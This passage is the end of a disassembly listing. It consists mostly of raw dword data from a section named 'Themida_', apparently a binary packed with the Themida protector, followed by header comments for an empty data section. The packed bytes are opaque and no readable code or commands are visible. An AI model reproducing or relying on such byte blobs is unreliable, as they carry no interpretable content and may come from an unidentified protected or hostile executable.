		dd 14E95Ah, 4AF70000h, 554CCCE3h, 78E22797h, 0C5FDD3E2h
		dd 304A1289h, 880F48FEh, 18h, 12E8h, 0E0ECC300h, 89441BA4h
		dd 0B525BFF3h, 0CB823D0Bh, 5FF50D4Eh, 5987BF66h, 0E8C68B60h
		dd 0Ch,	6A7C10A4h, 0D8ADA52Dh, 0D21B6AFAh, 0EE8h, 2FEFDF00h
		dd 5C1381E9h, 5809CDC8h, 5A04DD27h, 0EE9615Eh, 2C000000h
		dd 4BFD51FCh, 467A2562h, 0CFC9B029h, 8C0F5225h,	6, 71FACE81h
		dd 815F1E1Ch, 39A039DFh, 0E860F50h, 0E8000000h,	6, 3F99E28Eh
		dd 0FA8B2E3Dh, 0BBDE8B58h, 4F18B3EDh, 0FE9h, 13AA1A00h
		dd 733905BFh, 4EA61C19h, 8DE8B002h, 14890Fh, 0FE90000h
		dd 52000000h, 30C52A25h, 0AEAFA723h, 72CE29CCh,	7E98A64h
		dd 28000000h, 0BB897C05h, 0C080FF35h, 86C4801Fh, 10E9h
		dd 0B8950700h, 0A205AEC6h, 5AB2F7F7h, 34D84799h, 0DB81668Eh
		dd 8B0FC92Eh, 11h, 8E960h, 96180000h, 0D92F9F38h, 86B7405Bh
		dd 0BE961h, 197A0000h, 7BA36E75h, 0F833712Eh, 0CAD081DFh
		dd 57746FD2h, 9DC88166h, 0BB665B84h, 0E96014F0h, 10h, 8A4BC507h
		dd 55D77416h, 8A9BA460h, 2133E8C6h, 8161D98Bh, 0F95C37E1h
		dd 6820F50h, 81000000h,	0E085C5EFh, 14E943h, 0E9CA0000h
		dd 0A22A3056h, 4F3A05F6h, 734561DEh, 99303BE5h,	5CBF7D9Dh
		dd 0F92157CCh, 0FEE18166h, 57C88B24h, 7CE08166h, 0B70F5FE2h
		dd 0B96652D7h, 0E95B86F7h, 5, 0BE2F6E49h, 3840F56h, 66000000h
		dd 8B0FD38Bh, 1, 6840FF9h, 81000000h, 0D090E6D0h, 0CB8B6634h
		dd 0D7E181F8h, 60190A69h, 10E8h, 0B4D8C700h, 0C1D73059h
		dd 7C2AE219h, 0D4C11844h, 57DE8107h, 590A6200h,	5361F38Bh
		dd 6E9h, 1C31000h, 5E14031Bh, 9BB8A9B6h, 0F2EB886h, 8Dh
		dd 8B66FC00h, 0F3BF0FD6h, 3840Fh, 8B660000h, 0E08166C7h
		dd 81605559h, 9CEA52D8h, 8E939h, 925B0000h, 7262E663h
		dd 0E9615170h, 0Fh, 6427F937h, 625378E9h, 538C51DDh, 0F0F6A56h
		dd 889h, 0BF0F6000h, 0D7BF0FF2h, 12E961h, 0E9D90000h, 0B326999Bh
		dd 595BC075h, 12A8F78Dh, 0B71FA713h, 60D2BF0Fh,	830FFA8Bh
		dd 11h,	0BE8h, 0F273FC00h, 0CEDB80C6h, 5B43C9CCh, 6653615Bh
		dd 7179F781h, 0C7BB665Fh, 0CAB70F47h, 7E856h, 0B3BE0000h
		dd 0A3AB398Dh, 665B5E26h, 939CC681h, 0C8816660h, 850FC5CEh
		dd 2, 0E9615A50h, 0Dh, 0D00504C0h, 0D398761h, 0DAF7AF26h
		dd 8B66601Bh, 0B861FCD0h, 32779794h, 45BB6660h,	0DE8B66D3h
		dd 66D68B61h, 38D9D881h, 12E9F38Ah, 0A3000000h,	0AB588DA0h
		dd 0B4BA450h, 0F8D4A4FBh, 45C03F46h, 0AD3DBF6Ch, 11E93D3Bh
		dd 0E000000h, 3BB11F51h, 78AAB1ACh, 0B470EF9Ah,	0D42C7131h
		dd 1840F60h, 0FC000000h, 8E8h, 51C91A00h, 28A35540h, 8A0FDCh
		dd 5B000000h, 6E9FC61h,	76000000h, 0AD9A86F4h, 0F38B6607h
		dd 0E8F18B66h, 10h, 0F0670699h,	540A26EEh, 0D0C04464h
		dd 9E621A92h, 0EE9h, 9757200h, 0C671EB10h, 539A84C5h, 5F011884h
		dd 0D6F6BB66h, 0FD6B70Fh, 0BE8C6BFh, 10000000h,	68A1506Eh
		dd 7BCE50B5h, 665FAC6Bh, 77B6FE8Bh, 0FD0B70Fh, 8Ch, 815B5600h
		dd 0EC8320DBh, 0CE80F829h, 18C881F8h, 56039E84h, 5ECB8B66h
		dd 7BC165BFh, 0BFD3802Ah, 0BAC7CC80h, 15793995h, 11E8h
		dd 641AC400h, 791659B2h, 0B8117847h, 9B42EA02h,	14E99CB8h
		dd 97000000h, 0BE1684F1h, 0D24F7EFFh, 0B7CFEB56h, 0F138E895h
		dd 587F2047h, 0FE9FCh, 0A8D0000h, 179A9049h, 90A885B5h
		dd 0BEF85C63h, 18BB6669h, 26F5BEA8h, 0AE933B6h,	75000000h
		dd 2B49C7A2h, 500A5ACDh, 0FFB70F0Dh, 103DABEh, 0F180FC0Fh
		dd 0C6B660D7h, 0C88B6660h, 860Fh, 61610000h, 11E9h, 7EE54C00h
		dd 0B87382D5h, 6827BD04h, 0FAC6FCCBh, 8160F848h, 3721A7E9h
		dd 0DE83Dh, 0CE0C0000h,	292A317Fh, 0EBDEF90Ch, 0BA2C5C17h
		dd 63FBF608h, 0E480615Eh, 10E9A6h, 61B70000h, 8974E0DCh
		dd 0CD1B9B43h, 0E290214Ah, 5AB2A73Bh, 8C0FF48Ah, 5, 0A4254BBh
		dd 6695B36Ch, 5EEBC881h, 63A9A6B8h, 11E825h, 65B90000h
		dd 744A3E28h, 25605CABh, 62EF1CF0h, 0E94173E1h,	11h, 0FA2CAF95h
		dd 29D68356h, 67BFBE0h,	29EEDD61h, 0B70F5FA8h, 0C1BF0FCFh
		dd 8E8F9h, 8E0E0000h, 8FD90B31h, 81668F9Ch, 5A144CCBh
		dd 1ED18166h, 85B9FC23h, 0E80DA282h, 13h, 392F7F4Ch, 8288F25h
		dd 94CC8B7Fh, 6D005109h, 8199186Ch, 0A86A5AF6h,	12E95842h
		dd 0A9000000h, 35D372Eh, 79F87DB6h, 622E9A41h, 0C636CBAAh
		dd 66DA8A8Ch, 0B940D1BEh, 287A4DAAh, 58F88B52h,	6E8h, 58394800h
		dd 0E990A4B7h, 5, 0AE37696Fh, 0F9565F64h, 0FC88B59h, 1985h
		dd 11E800h, 50E90000h, 60C2AB12h, 0B54B3E0Bh, 337646D1h
		dd 8BD23177h, 8C0F58F8h, 6, 65B8D081h, 0B9F810C7h, 0C6A384Fh
		dd 0E181B8B1h, 675973B7h, 0D294FCBFh, 81F48A49h, 99E835C1h
		dd 0D3B70F76h, 72BBF08Bh, 0E96A9D40h, 7, 2319B0D9h, 66BEA01Eh
		dd 4544CF81h, 0A31B8F9h, 0FEB644F1h, 0EE8h, 228C8A00h
		dd 0C868BEE9h, 2467EA69h, 8B3A5551h, 0FE859CFh,	91000000h
		dd 2369A364h, 0E839B8AEh, 1F44114Ch, 11E9630Ah,	61000000h
		dd 52D72BABh, 86BBA400h, 9A3647D7h, 0D10306FDh,	0D8816658h
		dd 0CE989FFh, 8E000000h, 0F5D4DFC8h, 8F48B78Ch,	0F82CF095h
		dd 0E4BA6660h, 0DB96646h, 0E1B1612Eh, 5760C28Bh, 0BEB5BE66h
		dd 0C28B6658h, 0CF816661h, 0F6B73FDFh, 60F38B66h, 81DE8B66h
		dd 51B985CFh, 8B666136h, 3FC281D1h, 0E960D1ABh,	0Ch, 7BD01F2Ah
		dd 0C9E027C5h, 0E8E6B91Fh, 0CAB5A8BEh, 3860F35h, 0F000000h
		dd 12E9F3B7h, 85000000h, 0EA474BC0h, 0F5162D95h, 0D97C35A6h
		dd 6C47ADDAh, 0BE960BAh, 3000000h, 0B93A57B1h, 0D87023ABh
		dd 0BF66E267h, 6661CACAh, 60EC22BAh, 0F39DC80h,	281h, 61585000h
		dd 7E8h, 8E65900h, 0F9B3EA7Dh, 666058F8h, 0F61CA8Bh, 0B80h
		dd 6E900h, 0E9C40000h, 245D9E98h, 0B70FCB8Bh, 6E9C3h, 1B780000h
		dd 8F8FC2C8h, 850FFEB6h, 1Ah, 14E8h, 0B74BD000h, 63CCA841h
		dd 923594B8h, 8514428Dh, 0E9E4ED91h, 0D68B58F8h, 7E8D98Bh
		dd 27000000h, 0FA6F9B67h, 5E90937h, 0D3000000h,	5E900DABh
		dd 0FE958h, 0F24D0000h,	0A6AC3A10h, 17DE4D1Eh, 2316B3D9h
		dd 8E0F606Dh, 15h, 10E9h, 317F800h, 0CD495130h,	0E3078900h
		dd 0FB4977BBh, 0C005BE12h, 666157ACh, 0E881BDBBh, 9, 9F5A3026h
		dd 6A0D3511h, 860FD4h, 5B000000h, 66C9BF0Fh, 0F208EF81h
		dd 12E9h, 342C200h, 0D57516ADh,	5E00CCD7h, 218AAC5Eh, 0F981A50h
		dd 0A8Ah, 48F0F00h, 66000000h, 66765BB9h, 0D722F081h, 0EF8166FCh
		dd 0E281B3CFh, 7C7BA11Dh, 0B9EA8166h, 39C08147h, 0F934C182h
		dd 0CAB6CE81h, 6AB27B22h, 9153B8BEh, 0B11CB062h, 0BE859h
		dd 0C93C0000h, 0AD9032D3h, 16436E55h, 0CE8166B3h, 0E95F7292h
		dd 6, 0B5673192h, 8B6697D5h, 11E9D1h, 36670000h, 7A14697Ah
		dd 62EA22BFh, 0B44C9D8Eh, 0BE8B30FDh, 3F3674B5h, 0D9B70F50h
		dd 0FE95Eh, 50340000h, 72DACB7h, 7B818107h, 4FE0FD64h
		dd 0FD08BA4h, 989h, 38A0F00h, 80000000h, 4CBF8FCBh, 501355EEh
		dd 6E86DF81h, 8B5B07F6h, 0D3CC80D8h, 94F28166h,	0C28B66BEh
		dd 830FD78Bh, 5, 6F8026BBh, 0B966FC4Ah,	0BF0F1FECh, 667DB4FBh
		dd 11E9F28Bh, 0D5000000h, 0B5E3A968h, 0B8125759h, 0D52C608Dh
		dd 0B48686B8h, 0B1DBB70Fh, 0EEE68100h, 0E91D6F07h, 12h
		dd 608AE520h, 0DA15E043h, 3174E8B1h, 0CBF4431h,	0E080FB37h
		dd 1D87BAF1h, 8D0F1747h, 0
		dd 12E9h, 60274500h, 0C9B44806h, 3058EC7Bh, 0EDCB375Ch
		dd 0B946A186h, 2647028Dh, 0CE9h, 0E00A8A00h, 0A0B04A92h
		dd 4DC1C350h, 0FBB70FD7h, 9B51B8BEh, 0C0F28012h, 4CC4F081h
		dd 665011C8h, 0E677EE81h, 0DE95Eh, 0DA690000h, 0F7D619DDh
		dd 40FC2DCBh, 66EA3096h, 0C781C78Bh, 7B75890Bh,	6042CA80h
		dd 29DC8060h, 8E9h, 0DF718200h,	9D14E47h, 840F6154h, 3
		dd 61D7BF0Fh, 63D08166h, 14E87Eh, 10B80000h, 7CC1F0A0h
		dd 0F5561425h, 0F8051CE6h, 6E0BEB1h, 5952C7C8h,	50FA8B5Bh
		dd 5FC88B66h, 66F1E880h, 0B17FF381h, 0ECE081F9h, 507737BCh
		dd 58B0Fh, 0DB80000h, 5822583Ch, 41C18166h, 8E9E9h, 7DB60000h
		dd 9A4179F8h, 8166622Eh, 8BE2D6F3h, 65BE66C7h, 8E8CAh
		dd 14170000h, 600D7BD8h, 3BBF24ACh, 5A54B845h, 0B2D88B66h
		dd 0EABB6611h, 10E9CCh,	0EEE80000h, 53517A4Eh, 6A05A685h
		dd 87D6691Ch, 66608814h, 0D54FEE81h, 8B0F61F5h,	3, 66C8B70Fh
		dd 23B0C68Bh, 0C9E18166h, 81D98B68h, 0E1415C3h,	35BBFC5Bh
		dd 6633C0E7h, 8BC738BEh, 0DBBF0FF0h, 0AE9h, 0FAB89900h
		dd 6594684Ah, 0F2E5705h, 8B66DFBFh, 5BF957F7h, 8163EC80h
		dd 0DC17B8C3h, 0EE80Ch,	0C8F0000h, 952ED7E7h, 5BCE7009h
		dd 4E0E335Fh, 879F5ABEh, 0BA665F1Ah, 13E9F51Dh,	5B000000h
		dd 4BB20E8Fh, 32F77749h, 0E3498F2Ch, 0C00DDB15h, 45BF2B03h
		dd 667C940Bh, 13E9CF8Bh, 4D000000h, 618C5F4Eh, 52D72BABh
		dd 86BBA400h, 9A3647D7h, 0BF5106FDh, 10E164D6h,	5870F5Eh
		dd 0BB000000h, 2D79F311h, 29D18166h, 0C1816685h, 0DB5BA0Ch
		dd 2860Fh, 0FA8B0000h, 3820Fh, 8B660000h, 12E9D3h, 0A2DD0000h
		dd 669CD81Fh, 0E409C1E7h, 37C44795h, 17901C23h,	0E18116B1h
		dd 17392A7h, 66C7B70Fh,	4794C181h, 0C8BF0F60h, 0E1DE8166h
		dd 0BEBF6115h, 6645B6CEh, 8B66C38Bh, 0BE65B2D1h, 74732423h
		dd 5E9h, 0CFB63500h, 0CE81B748h, 43AE2B09h, 8B5060F5h
		dd 0FE95FF9h, 6000000h,	23A0D952h, 0FAF1D597h, 7AF34E59h
		dd 0E8617704h, 9, 85E1BCF5h, 2CF424DCh,	81666009h, 0F2567F1h
		dd 5E61CEBFh, 10E9h, 0FABB8800h, 0F54D3EBh, 0D28A3FB0h
		dd 0C5B89A43h, 0B69ABA86h, 0BF0F3B15h, 13E9DEh,	0B1930000h
		dd 2F74AEC7h, 23E97164h, 47B5892Eh, 0A4ACE0A4h,	6660F8B7h
		dd 0F5B8DE8Bh, 61046F80h, 2DC2DFB9h, 7AC8814Ah,	6629CF72h
		dd 0E8FF73BFh, 12h, 0E97F3612h,	11FC6C31h, 4B6757D4h, 79AA48ECh
		dd 0F28B3E23h, 0BF0F5159h, 66515EFEh, 5BA492BAh, 822FBE66h
		dd 60ADC580h, 13E9h, 0C6447200h, 0EE01EC72h, 91FD8765h
		dd 8F1B8D35h, 6EB0F8CEh, 68C0Fh, 0EE810000h, 6A0B7508h
		dd 6850F61h, 81000000h,	5DC64ADBh, 0BE92Dh, 0D6F50000h
		dd 758C937Bh, 0E24CE03h, 6830FB9h, 81000000h, 0D198B5D7h
		dd 17B26055h, 61F88B66h, 9457BE66h, 6E9h, 6D770F00h, 0E87AE2C9h
		dd 0Eh,	5E9923A2h, 0D7B95EF5h, 0ED2FB300h, 0F576762h, 84h
		dd 0E85B5800h, 0Fh, 0B7659E30h,	5089632Bh, 7ACA0672h, 664EBD95h
		dd 0BE5EC18Bh, 61AD55E2h, 2880Fh, 0F18A0000h, 10E8h, 20483200h
		dd 0ABDF6576h, 0AAD83D59h, 5712A469h, 8B6660E5h, 525E61D1h
		dd 5BAAB152h, 0E2A9BE5Fh, 63B34241h, 0FCA8B66h,	8166D2B7h
		dd 602BD8EEh, 0CBB261F5h, 0A5F08166h, 8DBA6614h, 6E9D3h
		dd 51690000h, 0D2AA53E0h, 2810F60h, 60000000h, 4850F61h
		dd 66000000h, 61C787BAh, 0EF816660h, 0AE9E4BEh,	5C000000h
		dd 78CE5AAh, 0E38ED0CCh, 8D0F61F0h, 7, 0EA816657h, 0F59CD53h
		dd 58Dh, 0BF0F5000h, 0FC575FFEh, 8B66575Fh, 0CE8B5BDAh
		dd 8E9h, 0A26EB200h, 784F0492h,	5FFC56C9h, 4E4E0CBFh, 0FF98B19h
		dd 18Dh, 9E9F500h, 0A9000000h, 0C8B3FB7h, 0E177E323h, 1329BA66h
		dd 11E9h, 317FCE00h, 0F90C292Ah, 5C17EBDEh, 0E856912Ch
		dd 0DE8AAAE3h, 8166DA8Bh, 0E9EC17D9h, 13h, 6C2DFBB2h, 0BCA463D8h
		dd 0E2A09286h, 0B7D1BEBh, 0E817FD05h, 0Eh, 6AE03203h, 5D8436E9h
		dd 0C03512C2h, 880FF01Bh, 6, 870Fh, 66580000h, 8F69E081h
		dd 66C9BF0Fh, 8AD434BBh, 0FCB7B7F7h, 0A3C880F9h, 0B70FEEB6h
		dd 0E68166C6h, 81609472h, 93DD56CEh, 0D1E78131h, 615B6D84h
		dd 5E9h, 0B1F8B00h, 16BB635Fh, 66548EE0h, 33F1E681h, 9E8F8h
		dd 0FE910000h, 68E386BFh, 8020CC77h, 0E95BAFE1h, 0Ah, 5529ADDh
		dd 67A8921Eh, 816672F2h, 0F4CA7C6h, 0EC80F7BFh,	2FD781B5h
		dd 0F26750Dh, 1F81h, 0CE800h, 0EA3B0000h, 0D32C36C1h, 46D35D07h
		dd 8E91190h, 18000000h,	3CA96B66h, 5BECBCEAh, 60DA8B66h
		dd 0D1CCCA81h, 0EE92DF2h, 0D7000000h, 302C6DC0h, 0DDB38E20h
		dd 325E0C38h, 0E380614Dh, 5880F33h, 0BF000000h,	42EDEEA6h
		dd 0E02FE981h, 97777FCFh, 0C1h dup(9777DA7Bh), 8277DA7Bh
		dd 3F8h	dup(824B27D8h),	574B27D8h, 45h dup(58FFFFE5h)
		dd 2A600AE5h, 18Eh dup(2A600AF9h), 0D9983Dh, 352h dup(0D9983Ch)
		dd 0BE28983Ch, 75h dup(0BE2841A4h), 0A3E141A4h,	18Ch dup(0A3E1FF2Ah)
		dd 14E1FF2Ah, 0B9h dup(14F40F26h), 0CCF40F26h, 75Fh dup(0CCCCCCCCh)
		dd 0CCCCh, 21Dh	dup(0)
Themida_	ends

; Section 5. (virtual address 001CB000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001CB000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5CB000h
		align 2000h
_idata2		ends


		end start